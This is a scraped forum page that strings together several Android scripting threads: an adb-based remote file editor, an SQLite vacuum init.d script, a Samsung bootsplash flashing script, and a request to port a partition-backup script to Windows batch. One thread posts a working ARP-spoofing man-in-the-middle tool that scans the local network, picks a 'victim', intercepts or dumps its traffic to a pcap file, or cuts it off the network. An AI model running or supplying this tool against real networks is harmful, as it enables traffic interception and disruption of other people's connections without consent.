[Script]RemEdit (Edit files from phone in native text editor) - Galaxy S Plus I9001 Android Development

I made this script just now to have the ability to edit files from the phone, opened directly in your default text editor on your pc, when saving the file and pressing enter in the script the file will be pushed back to your phone and sets it to the right permission. Just some handy little script which becomes very useful when you want to test out scripts on your phone
the platform-tools path of android sdk must be accessible globally for adb.
.bashrc
Code:
export PATH=${PATH}:~/android-sdk/platform-tools
#!/bin/bash
Code:
#Edit files on your phone like editing local files
#Copyright 2013 broodplank.net
#Revision 3
if [[ $1 = "" ]]; then
echo "usage: remedit [remote path]"
echo " example: remedit /system/build.prop"
exit
else
DIR=${1%/*}
FILE=${1##*/}
fi;
if [[ -e mode ]]; then
rm -f mode
fi;
adb get-state > state
export DEVICESTATE=`cat state`;
rm -f state
if [[ ${DEVICESTATE} != 'device' ]]; then
echo "Waiting for device..."
echo "Make sure debugging mode is enabled"
adb 'wait-for-device'
echo "Device found"
fi;
adb -d shell ls -l ${1} | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/) \
*2^(8-i));if(k)printf("%0o ",k);print}' > mode
if [[ -e modenew ]]; then
rm -f modenew
fi;
head -c 3 mode > modenew
export FILEMODE=`cat modenew`;
if [[ -e mode ]]; then
rm -f mode
fi;
if [[ -e modenew ]]; then
rm -f modenew
fi;
echo
echo "Remote Path: '${DIR}'"
echo "Remote File: '${FILE}'"
echo "Remote Mode: '${FILEMODE}'"
echo
cd ${PWD}
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
adb pull $1 $FILE
xdg-open $FILE
echo
echo "Press enter when you're done editing the file"
read -p [enter]
echo
adb remount
adb push $FILE $1
adb -d shell busybox chmod ${FILEMODE} ${1}
echo
echo "Pushed new version of: ${FILE} located in: ${DIR} with mode: ${FILEMODE}"
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
Output:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

Hi brood
i'm not a great scripter, but one word to your script. I'm use Lubuntu and there is Leafpad the default Editor. I think it is unnecessary to install "gedit" if it is not installed. If you use in your script the line
Code:
xdg-open $FILE
instead of
Code:
gedit $FILE
the file will open with the default Editor of the DE.
Keep up your great work :good:
regards....busprofi

busprofi said:
Hi brood
i'm not a great scripter, but one word to your script. I'm use Lubuntu and there is Leafpad the default Editor. I think it is unnecessary to install "gedit" if it is not installed. If you use in your script the line
Code:
xdg-open $FILE
instead of
Code:
gedit $FILE
the file will open with the default Editor of the DE.
Keep up your great work :good:
regards....busprofi
Click to expand...
Click to collapse
Thanks. Im also not a great bash scripter. Thnx for the tip, will add it to the code as soon as im at my computer
edit: added it

New version, more compatibility, also shows the syntax and stops the script when no input is given

Related

[Script]REMEDIT (Edit files from phone in native text editor)

I made this script just now to have the ability to edit files from the phone, opened directly in your default text editor on your pc, when saving the file and pressing enter in the script the file will be pushed back to your phone and sets it to the right permission. Just some handy little script which becomes very useful when you want to test out scripts on your phone
the platform-tools path of android sdk must be accessible globally for adb.
.bashrc
Code:
export PATH=${PATH}:~/android-sdk/platform-tools
~/bin/remedit (set to rwx)
Code:
#!/bin/bash
#Edit files on your phone like editing local files
#Copyright 2013 broodplank.net
#Revision 2
DIR=${1%/*}
FILE=${1##*/}
if [[ -e mode ]]; then
rm -f mode
fi;
adb -d shell ls -l ${1} | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/) \
*2^(8-i));if(k)printf("%0o ",k);print}' > mode
if [[ -e modenew ]]; then
rm -f modenew
fi;
head -c 3 mode > modenew
export FILEMODE=`cat modenew`;
if [[ -e mode ]]; then
rm -f mode
fi;
if [[ -e modenew ]]; then
rm -f modenew
fi;
echo
echo "Remote Path: '${DIR}'"
echo "Remote File: '${FILE}'"
echo "Remote Mode: '${FILEMODE}'"
echo
cd ${PWD}
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
adb pull $1 $FILE
xdg-open $FILE
echo
echo "Press enter when you're done editing the file"
read -p [enter]
echo
adb remount
adb push $FILE $1
adb -d shell busybox chmod ${FILEMODE} ${1}
echo
echo "Pushed new version of: ${FILE} located in: ${DIR} with mode: ${FILEMODE}"
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
Output:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

[HOWTO] MITM ARPspoofing automatic script ARM/BASH

Hello everybody
Sorry by advance for my english, i'm french.
My main phone is broken so i have a old galaxy mini (android gingerbread ) for replacement... and i want to use this for some MiTM spoofing and information gathering but app play store are not compatible or buggy for me.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
The script work for me but maybe the method to get local IP/ IP GATEWAY will change for phone or android version
I post the script here maybe it way make idea for someone
So i use nmap ARM binary from nmap website ( nmap/nping ) to create a little script (182 lines) to automated MiTM it's very lightweight and easy to use.
Requirement
rooted phone
busybox
tcpdump
bash
Features
MiTM arp spoofing ( Restore original gateway mac after attack )
MiTM arp spoofing with tcpdump log data in pcap file ( Restore original gateway mac after attack )
Netcut replace mac gateway by another fake mac address
Installation binaries
Code:
mkdir -p /sdcard/opt
cd /sdcard/opt
#get binary from nmap website
wget "http://ftp.linux.hr/android/nmap/nmap-6.46-android-arm-bin.tar.bz2"
tar xvjf nmap-6.46-android-arm-bin.tar.bz2
#Installation to /system/xbin
cd nmap-6.46
mount -o remount,rw /system
cp -v bin/nmap /system/xbin
cp -v bin/nping /system/xbin
#Restore /system permission
mount -o ro,remount,ro /system
Tools mitm.bash
Copy the content below script to /sdcard/mitm.bash
And run bash /sdcard/mitm.bash and enjoy it
or copy from web with :
Code:
wget -q http://www.web-point-zero.fr/mitm.bash -O /sdcard/mitm.bash && (echo "All good run : bash /sdcard/mitm.bash" ) || (echo "Error to download file ")
Code:
#!/bin/bash
echo "*** Tools create by c0derz67 from forum.xda-developers.com ****";
echo -e "\n\n";
TMP_DIRECTORY="/sdcard/_nettools_$RANDOM"; # maybe change by our sdcard directory
MAIN_INTERFACE="wlan0" # change with your interface name
mkdir -p "$TMP_DIRECTORY" || (echo "Can't create $TMP_DIRECTORY";exit;);
cd $TMP_DIRECTORY || (echo "Can't chdir to $TMP_DIRECTORY";exit;);
trap "echo \"Bye bye :) remove $TMP_DIRECTORY\";rm -r $TMP_DIRECTORY;exit;" 0 1 2 3 15;
echo "[*] GET GATEWAY "
GATEWAY=$(ip route show | grep $MAIN_INTERFACE | grep -o -E "via.*dev" | cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> GATEWAY IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] GET ADRESS "
MY_ADDRESS=$(ip route show | egrep -o "src .*"|cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> MY_ADDRESS IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] Get Mac address : ";
MY_MAC=$(busybox ifconfig $MAIN_INTERFACE | grep -E -o "HWaddr .*"|cut -d ' ' -f2);
if [ -n "$MY_MAC" ]; then
echo " -> Mac address is : $MY_MAC"
else
echo "ENABLE TO GET mac ADDR"
exit;
fi;
GATEWAY_FIRST_PART_IP_1=$(echo $GATEWAY | cut -d '.' -f1);
GATEWAY_FIRST_PART_IP_2=$(echo $GATEWAY | cut -d '.' -f2);
GATEWAY_FIRST_PART_IP_3=$(echo $GATEWAY | cut -d '.' -f3);
GATEWAY_FIRST_PART_IP_4=$(echo $GATEWAY | cut -d '.' -f4);
MY_ADDRESS_FIRST_PART_IP_1=$(echo $MY_ADDRESS | cut -d '.' -f1);
MY_ADDRESS_FIRST_PART_IP_2=$(echo $MY_ADDRESS | cut -d '.' -f2);
MY_ADDRESS_FIRST_PART_IP_3=$(echo $MY_ADDRESS | cut -d '.' -f3);
MY_ADDRESS_FIRST_PART_IP_4=$(echo $MY_ADDRESS | cut -d '.' -f4);
SCAN_IP_RANGE="$MY_ADDRESS_FIRST_PART_IP_1.$MY_ADDRESS_FIRST_PART_IP_2.$MY_ADDRESS_FIRST_PART_IP_3.1-255";
echo "[*] Scan : $SCAN_IP_RANGE "
nmap -n -v -sP "$SCAN_IP_RANGE" | grep -v down
echo -e "\n\n"
echo "[*] DEVICE(S) connected to network : ";
echo -e "\n";
mkdir ip || (echo "Can't create IP";exit);
GATEWAY_MAC="";
counter=0;
arp -n -a | grep -v incomplete > ARP_RESULT.txt
already_set=0;
while((1));
do
i=0;
while read line;do
i=$(($i+1));
THIS_IP=$(echo $line | egrep -o "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" );
THIS_MAC=$(echo $line | egrep -o ".{2}:.{2}:.{2}:.{2}:.{2}:.{2}" )
if [ "$THIS_IP" = "$GATEWAY" ];then
GATEWAY_MAC=$THIS_MAC;
fi;
#echo "[$i] CURRENT MAC : $THIS_MAC ";
#echo "[$i] CURRENT IP : $THIS_IP"
echo "$i ) $THIS_IP ( $THIS_MAC ) "
if [ "$already_set" -eq 0 ]; then
mkdir $i;
echo $THIS_MAC > $i/MAC
echo $THIS_IP > $i/IP
fi;
done < ARP_RESULT.txt;
already_set=1;
echo -e "\n"
read -n 1 -p "[*] Select target ( 1-$i ) : " number_victim;
echo "";
if [ ! -d $number_victim ];then
echo "$number_victim is not a good target";
continue;
fi
TARGET_MAC=$(cat $number_victim/MAC );
TARGET_IP=$(cat $number_victim/IP );
echo -e "\n\n"
echo "[*] Select attack : ";
echo -e "\n"
echo "1) Arp Spoofing MITM (Catch and Redirect trafic to gateway) ";
echo "2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "3) Netcut Arp Spoofing replace gateway mac to invalid mac ";
echo -e "\n"
read -n 1 -p "[*] Attack type : " number_attack;
case $number_attack in
1)
clear
echo "[*] Start 1) Arp Spoofing MITM (Catch and Redirect trafic to gateway)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
read -n 1
GET_PID=$!
echo -e "\n\n";
echo "********* STOP ATTACK *********";
kill -9 $GET_PID;
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
2)
clear
echo "[*] Start 2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 >log_nping.txt &
PID_nping=$!
sleep 5s;
echo "Let's see what nping say log_nping.txt : "
echo -e "\n\n";
cat log_nping.txt
echo -e "\n\n";
echo "[*] Arp spoofing (nping) running in background see $TMP_DIRECTORY/log_nping.txt for detail"
echo "[*] Running tcpdump exclude $MY_ADDRESS packet";
tcpdump -i $MAIN_INTERFACE -s0 -v -w /sdcard/dump.pcap &
PID_tcpdump=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
3)
clear
echo "[*] Start 3) Netcut Arp Spoofing replace gateway mac to invalid mac";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac cc:cc:cc:cc:cc:cc --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
PID_nping=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
esac
done;
done;
#ARP POISOING help
#nping --arp --arp-type ARP-reply --arp-sender-ip (GATEWAY IP) --arp-sender-mac (ATTACKER IP ) --dest-mac (MAC VICTIME) (IP VICTIM) -c 999999

[q] vacuum=errcode-14 reindex=success

This is init.d script that I use.
-----
#!/system/bin/sh
# Vacuum and reindex DB
FLY=/data/initd/sqlite.log
# Interval between optimize SQlite runs, in seconds, 86400=24 hours
RUN_EVERY=86400
# Get the last modify date of the log file, if the file does not exist, set value to 0
if [ -e $FLY ]; then
LASTRUN=`stat -t $FLY | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then
if [ -e $FLY ]; then
rm $FLY;
fi;
fi;
echo "SQLite database VACUUM and REINDEX started at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $FLY;
for i in `busybox find /d* -iname "*.db"`; do
/system/xbin/sqlite3 $i 'VACUUM;';
resVac=$?
if [ $resVac == 0 ]; then
resVac="SUCCESS";
else
resVac="ERRCODE-$resVac";
fi;
/system/xbin/sqlite3 $i 'REINDEX;';
resIndex=$?
if [ $resIndex == 0 ]; then
resIndex="SUCCESS";
else
resIndex="ERRCODE-$resIndex";
fi;
echo "Database $i: VACUUM=$resVac REINDEX=$resIndex" | tee -a $FLY;
done
echo "SQLite DB vacuum and reindex finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $FLY;
fi;
-----
This is partial logfile. All database get the same result. Vacuum error.
-----
Database /data/data/com.sonyericsson.album/databases/socialcloud.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
Database /data/data/com.sonyericsson.album/databases/downloads.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
Database /data/data/com.sonyericsson.android.camera/databases/google_analytics_v2.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
-----
Could you help me to fix this issue?
Thanks in advanced.
Up.
microtext said:
This is init.d script that I use.
Can you help me to fix this issue?
Thanks in advanced.
Click to expand...
Click to collapse
This is part of a command, separating it breaks the command line..
This will work better..
Code:
# SQLite tweak
B=/system/xbin/busybox
LOG_FILE=/data/sqlite.log
if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting FV Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
if [ -e /system/xbin/sqlite3 ]; then
$B echo "Optimizing DataBases.." | tee -a $LOG_FILE
for i in \
$($B find /data -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
for i in \
$($B find /sdcard -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
fi;
echo "Automatic sqlite vacuum finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
@Setting.Out, working very good on OnePlus 3
Setting.Out said:
This is part of a command, separating it breaks the command line..
This will work better..
Code:
# SQLite tweak
B=/system/xbin/busybox
LOG_FILE=/data/sqlite.log
if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting FV Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
if [ -e /system/xbin/sqlite3 ]; then
$B echo "Optimizing DataBases.." | tee -a $LOG_FILE
for i in \
$($B find /data -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
for i in \
$($B find /sdcard -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
fi;
echo "Automatic sqlite vacuum finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
Click to expand...
Click to collapse
I replace with your code. But, still get error, Bro.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
microtext said:
I replace with your code. But, still get error, Bro.
Click to expand...
Click to collapse
This was written around 4.0 android, some tweaks aren't as compatible on newer android as others I'd imagine.. Half the tweak looks applicable.... I'll have a look, as I'm curious if it's needed..
Setting.Out said:
This was written around 4.0 android, some tweaks aren't as compatible on newer android as others I'd imagine.. Half the tweak looks applicable.... I'll have a look, as I'm curious if it's needed..
Click to expand...
Click to collapse
Yes, I still use Android KitKat.

TWRP Flashable BootSplash ZIP and CMD/Terminal Option

Just a simple TWRP Flashable BootSplash Zip for example to replace the warnings when you unlocked/rooted your device.
It will open up_param.bin and repack it with the jpg,s inside the zip.
Simply replace svb_orange.jpg and logo.jpg with a jpg of your own choice.
Make sure the images don't exceed 500kb, and keep exact same resolution (1440x3040 24bbp)
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
*** Download ***
Script:
Code:
#!/sbin/sh
OUTFD=$2
ZIP=$3
ui_print() {
echo -n -e "ui_print $1\n" > /proc/self/fd/$OUTFD
echo -n -e "ui_print\n" > /proc/self/fd/$OUTFD
}
cd /tmp
rm -rf arter97
mkdir arter97
cd arter97
unzip -o "$ZIP"
ui_print " - mounting data partition"
mount /data
if [ ! -e /data/media/0/up_param.bak ]; then
ui_print " - backing up current up_param to /sdcard/up_param.bak"
cat /dev/block/platform/13d60000.ufs/by-name/up_param > /data/media/0/up_param.bak
chown 1023:1023 /data/media/0/up_param.bak
chmod 664 /data/media/0/up_param.bak
fi
ui_print " - installing new logo.jpg"
chmod 755 tar
mkdir tartemp
cd tartemp
/tmp/arter97/tar -xf /dev/block/platform/13d60000.ufs/by-name/up_param
cp /tmp/arter97/logo.jpg .
chown root:root *
chmod 444 logo.jpg
touch *
/tmp/arter97/tar -pcvf ../new.tar *
cd ..
cat new.tar > /dev/block/platform/13d60000.ufs/by-name/up_param
ui_print " - installing new svb_orange.jpg"
chmod 755 tar
mkdir tartemp
cd tartemp
/tmp/arter97/tar -xf /dev/block/platform/13d60000.ufs/by-name/up_param
cp /tmp/arter97/svb_orange.jpg .
chown root:root *
chmod 444 svb_orange.jpg
touch *
/tmp/arter97/tar -pcvf ../new.tar *
cd ..
cat new.tar > /dev/block/platform/13d60000.ufs/by-name/up_param
ui_print " - unmounting partition /data"
umount /data > /dev/null 2>&1
ui_print " "
ui_print "finished"
ui_print "Edited for s10+ by Whiskey103"
cd /
rm -rf /tmp/arter97
sync
Installation method with terminal command without TWRP (pushing up_param.bin using dd cmd on phone):
Download up_param.bin
https://www.whiskey103.nl/index1.php?dir=SamsungS10-Plus/BootSplash/s10plus/
Place in root of internal memory
Open terminal on phone like Material Terminal for example:
command:
su
command:
dd if=/sdcard/up_param.bin of=/dev/block/platform/13d60000.ufs/by-name/up_param
Credits:
@Radzian - used his base zip and edited for s10+
@ianmacd for pointing to the error in my first attempt.
Can you make for S10?
1jkan said:
Can you make for S10?
Click to expand...
Click to collapse
Yea, that's on my to do list.
Just have to get my hands on a s10 up_param.bin still.
The files are most likely the same, the zip will probably just work already.
Perhaps you can upload me your up_param.bin?
Where is this file?
1jkan said:
Where is this file?
Click to expand...
Click to collapse
Run the follow commands on your device in terminal.
su
cat /dev/block/platform/13d60000.ufs/by-name/up_param > /data/media/0/up_param.bak
It will pull up_param.bin and place it as up_param.bak on your internal SD card
Share it here please.
I can not handle it.
I try all the time but I can not. Maybe someone more experienced will help
1jkan said:
I try all the time but I can not. Maybe someone more experienced will help
Click to expand...
Click to collapse
Judging by the fact you are lookin to remove the boot warnings it's safe to say you're rooted.
Once rooted, go to playstore, grab a terminal app like Material Terminal.
Open it, typ su on first line. It will show #.
Then the command I gave you, it should be easy
1jkan said:
I try all the time but I can not. Maybe someone more experienced will help
Click to expand...
Click to collapse
try this:
https://www.whiskey103.nl/index1.ph...plash/&file=TWRP-Flashable_BootSplash_S10.zip
will this work for at&t s10+ snapdragon? please advise, thank you!
PTJunkie1975 said:
will this work for at&t s10+ snapdragon? please advise, thank you!
Click to expand...
Click to collapse
I cant test that obviously, at least needs root/unlocked bootloader etc.
I have Terminal Material. I have entered commands several times but there is always a failure. Not found
Whiskey103 said:
try this:
https://www.whiskey103.nl/index1.ph...plash/&file=TWRP-Flashable_BootSplash_S10.zip
Click to expand...
Click to collapse
This file works great. For full happiness is only missing, so that there is no Magisk stamp ...
Can I flash this with flashify?
daveuk87 said:
Can I flash this with flashify?
Click to expand...
Click to collapse
no, needs twrp.
Maybe i will add a different way with pre-made up_param.bin to be pushed with terminal later.
daveuk87 said:
Can I flash this with flashify?
Click to expand...
Click to collapse
Installation method with terminal command without TWRP (pushing up_param.bin using dd cmd on phone):
Download up_param.bin
Place in root of internal memory
Open terminal on phone like Material Terminal for example:
command:
su
command:
dd if=/sdcard/up_param.bin of=/dev/block/platform/13d60000.ufs/by-name/up_param
@Whiskey103 Will there be bootlog update for android 10? first of all, Thanks
Note: the "by android" logo change and the size of the samsung s10 (x) name too.
note2: I have a galaxy 10+
:fingers-crossed:

Can somebody help me with this shell script?

Basically what I want to do is convert this into batch script for windows and by using Linux Binaries from Sourceforge create a script that basically does the same thing except it doesnt have to be pushed into my Phone's system it works directly in windows using ADB commands!
The script in question looks like this
Spoiler: THIS Script
Bash:
#adb shell mkdir /data/media/0/PartitionImages
#adb push .\backupPartitions.sh /data/media/0/PartitionImages/backupPartitions.sh
#adb shell chmod 0755 /data/media/0/PartitionImages/backupPartitions.sh
#adb shell /data/media/0/PartitionImages/backupPartitions.sh
#adb pull /data/media/0/PartitionImages .\PartitionImages
max_blocks=102400
names=""
compress=0
while getopts "h?bzn:" opt; do
case "$opt" in
h|\?)
echo "Usage $0 [-z] [-b MaxBlocks] [-n partition1 ] [-n partition2 ]"
echo " options:"
echo "-z optional to tar.gz the output folder default=false"
echo "-b 102400 optional maximum number of blocks of the partition - 0 will dump all partitions default=$max_blocks"
echo "-n partitionName... optional - one or more partitions to dump"
exit 0
;;
z) compress=1
;;
b) max_blocks=$OPTARG
;;
n) names+=" $OPTARG"
;;
esac
done
script=$(readlink -f "$0")
script_path=$(dirname "$script")
serial=$(cat /sys/class/android_usb/f_accessory/device/iSerial)
serial_date=$serial/$(date +"%Y_%m_%d_%H_%M_%S")
output_path=$script_path/$serial_date
echo "********************************"
echo "Backup partitions TO $output_path"
echo "********************************"
mkdir -p $output_path
part_dir=$(find /dev/block/platform -name by-name)
partitions=$(ls -la $part_dir | awk '{if ( $10 == "->") print $9 ">" $11 }')
getprop > $output_path/build.prop
echo "Id Name Size MD5" > $output_path/partitions.txt
for f in $partitions
do
part_id=$(echo $f | sed 's/^[^>]*>\/dev\/block\///')
part_name=$(echo $f | sed 's/>.*//')
size=$(cat /proc/partitions | awk -v p=$part_id '{if ( $4 == p ) print $3}')
checksum="0"
skip=0
if [ $max_blocks -gt 0 -a $size -gt $max_blocks ]
then
skip=1
echo "Skipping $part_name Id $part_id due to size"
else
if [ "$names" -ne "" ]
then
if echo $names | grep -w $part_name > /dev/null; then
skip=0
else
skip=1
echo "Skipping $part_name Id $part_id"
fi
fi
fi
if [ "$skip" -eq "0" ]
then
echo "Processing $part_name Id $part_id Size $size";
dd if=/dev/block/$part_id of=$output_path/$part_name.img
checksum=$(md5sum -b $output_path/$part_name.img | sed 's/ .*//')
fi
echo "$part_id $part_name $size $checksum" >> $output_path/partitions.txt
done
if [ "$compress" -eq "1" ]
then
cd $script_path
tar cz $serial_date > $output_path.tar.gz
rm -rf $output_path
fi
its from an old Xda Dev thread original post and author
givitago​​
I tried by guidelines from an "Appendix N. Converting DOS Batch Files to Shell Scripts" from another site to turn the shell script variables into batch script ones but since I got no experience with either of them my attempt turned into an amalgamation of the two's code in one..
Spoiler: it turned Into THIS
Code:
::adb shell mkdir /data/media/0/PartitionImages
::adb push .\backupPartitions.sh /data/media/0/PartitionImages/backupPartitions.sh
::adb shell chmod 0755 /data/media/0/PartitionImages/backupPartitions.sh
::adb shell /data/media/0/PartitionImages/backupPartitions.sh
::adb pull /data/media/0/PartitionImages .\PartitionImages
%max_blocks==102400
%names==""
%compress==0
while getopts "h?bzn:" opt; do
case "$opt" in
h|\?)
echo "Usage $0 [-z] [-b MaxBlocks] [-n partition1 ] [-n partition2 ]"
echo " options:"
echo "-z optional to tar.gz the output folder default=false"
echo "-b 102400 optional maximum number of blocks of the partition - 0 will dump all partitions default=$max_blocks"
echo "-n partitionName... optional - one or more partitions to dump"
exit 0
;;
z) compress=1
;;
b) max_blocks=$OPTARG
;;
n) names+=" $OPTARG"
;;
esac
done
%script%==%(echo %CD% "%0")
%script_path%==(dirname "%script")
%serial%==%(adb shell cat /sys/class/android_usb/f_accessory/device/iSerial)
%serial_date%==%serial% /%(date +"%Y_%m_%d_%H_%M_%S")
%output_path%==%script_path%/%serial_date%
echo "********************************"
echo "Backup partitions TO $output_path"
echo "********************************"
mkdir -p %output_path%
%part_dir%==%(adb shell find /dev/block/platform -name by-name)
%partitions%==%(ls -la %part_dir% | awk '{if ( %10 == "->") print %9 ">" %11 }')
adb shell getprop > %output_path%/build.prop
echo "Id Name Size MD5" > %output_path%/partitions.txt
for %%i in %partitions do
%part_id=%(echo %f | sed 's/^[^>]*>\/dev\/block\///')
%part_name=%(echo %f | sed 's/>.*//')
%size=%(adb shell cat /proc/partitions | awk -v p==%part_id% '{if ( %4 == p ) print %3}')
checksum="0"
skip==0
if [ %max_blocks -gt 0 -a %size -gt %max_blocks ]
then
skip=1
echo "Skipping %part_name% Id %part_id% due to size"
else
if [ "%names" -ne "" ]
then
if echo %names | grep -w %part_name% > /dev/null; then
skip==0
else
skip==1
echo "Skipping %part_name% Id %part_id%"
fi
fi
fi
if [ "$skip" -eq "0" ]
then
echo "Processing %part_name% Id %part_id% Size %size";
'adb shell pull' /dev/block/%part_id% %output_path%/%part_name%.img
checksum==%(md5sum -b %output_path%/%part_name%.img | sed 's/ .*//')
fi
echo "%part_id% %part_name% %size %checksum" >> %output_path%/partitions.txt
done
if [ "%compress" -eq "1" ]
then
cd %script_path%
tar cz %serial_date% > %output_path%.tar.gz
rm -rf %output_path%
fi
additionally I have pretty much all linux commands's binaries on the same folder as the .bat script so as long as the syntax is correct and nothing finniky going on it should work technically but since I got no experience I can't do this on my own...
You may use the DOS script used here
[TOOL][ADB][WIN]Android Partitions Backupper / Cloner
Hi all, wrote a Windows CMD script that backups / clones partitions of an Android device via ADB because I wasn't content with any 3rd-party APK what claims to do this job. The backups /clones are stored on Windows computer as...
forum.xda-developers.com
as a template.
jwoegerbauer said:
You may use the DOS script used here
[TOOL][ADB][WIN]Android Partitions Backupper / Cloner
Hi all, wrote a Windows CMD script that backups / clones partitions of an Android device via ADB because I wasn't content with any 3rd-party APK what claims to do this job. The backups /clones are stored on Windows computer as...
forum.xda-developers.com
as a template.
Click to expand...
Click to collapse
I have tried that script itself and it failed at "DM-Verity" and SELinux enforcement also for some reason no logs at all in temp folder

Categories

Resources